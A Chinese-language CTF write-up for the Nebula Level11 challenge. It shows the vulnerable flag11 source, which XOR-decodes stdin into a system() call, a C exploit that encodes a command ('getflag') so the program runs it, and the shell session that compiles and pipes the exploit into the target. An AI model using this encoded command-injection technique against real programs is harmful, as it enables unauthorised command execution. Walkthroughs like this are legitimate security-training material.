Skip to content

Latest commit

 

History

History
185 lines (142 loc) · 4.42 KB

Level11——又一可执行任意文件漏洞.org

File metadata and controls

185 lines (142 loc) · 4.42 KB

/home/flag11下有一个名叫“flag11”的程序,它存在一个可执行任意文件的漏洞,它的代码如下:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
           'A' + (random() % 26), '0' + (random() % 10),
           'a' + (random() % 26), 'A' + (random() % 26),
           '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }
  setgid(getgid());
  setuid(getuid());
  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
    errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
    errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
    if(fread(buf, length, 1, stdin) != length) {
      err(1, "fread length");
    }
    process(buf, length);
  } else {
    int blue = length;
    int pink;

    fd = getrand(&path);

    while(blue > 0) {
      printf("blue = %d, length = %d, ", blue, length);

      pink = fread(buf, 1, sizeof(buf), stdin);
      printf("pink = %d\n", pink);

      if(pink <= 0) {
        err(1, "fread fail(blue = %d, length = %d)", blue, length);
      }
      write(fd, buf, pink);

      blue -= pink;
    }

    mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
    if(mem == MAP_FAILED) {
      err(1, "mmap");
    }
    process(mem, length);
  }

}

面对长串的代码,我们可以从危险函数入手,这里的危险函数是system。它位于process函数中:

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
    buffer[i] ^= key;
    key -= buffer[i];
  }
  setgid(getgid());
  setuid(getuid());
  system(buffer);
}

这里system的参数来自于buffer变量的内容说明这里可能是可控的回溯跟踪函数调用你可以发现这里确实是可控的但是这里有少许复杂因为在system执行之前程序对buffer里的数据在执行前做了一次异或运算所以buffer缓冲区的数据被改变过了但是异或运算的法则是:`a^b=c`,已知`b``c`,`b^c`就可以得到`a`。这里也一样我们把加密后的数据带入这个函数经过一次异或运算它就会还原了对应的加密代码如下#include <stdio.h>
#include <string.h>

  int main(int argc, char *argv[])
{
  int length = 1024;
  //要执行的命令
  char *cmd = "getflag";
  char buf[1024];

  int key = length & 0xff;
  int i = 0;

  //把“getflag”字符串拷贝到buf里,其余空间空字节填充
  strncpy(buf,cmd,1024);

  for(; i<length; i++)
    {
      buf[i] ^= key;
      //一定要buf[i]^key才可得到正确的key,上面那句代码才可正确执行
      key = key - (buf[i] ^ key);
    }

  //输出至标准输出
  puts("Content-Length: 1024");
  fwrite(buf,1,length,stdout);

  return 0;
}

还要注意代码中getrand函数里的这句:

tmp = getenv("TEMP");

需要环境变量TEMP,所以,需要先设置一个名叫“TEMP”的环境变量:

level11@nebula:/home/flag11$ export TEMP=/tmp

接着,编译代码:

level11@nebula:touch /tmp/xxx.c
level11@nebula:/home/flag11$ gcc -o /tmp/exp /tmp/xxx.c
level11@nebula:/home/flag11$ /tmp/exp | ./flag11
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account

参考:

  1. http://uberskill.blogspot.com/2012/09/nebula-level11.html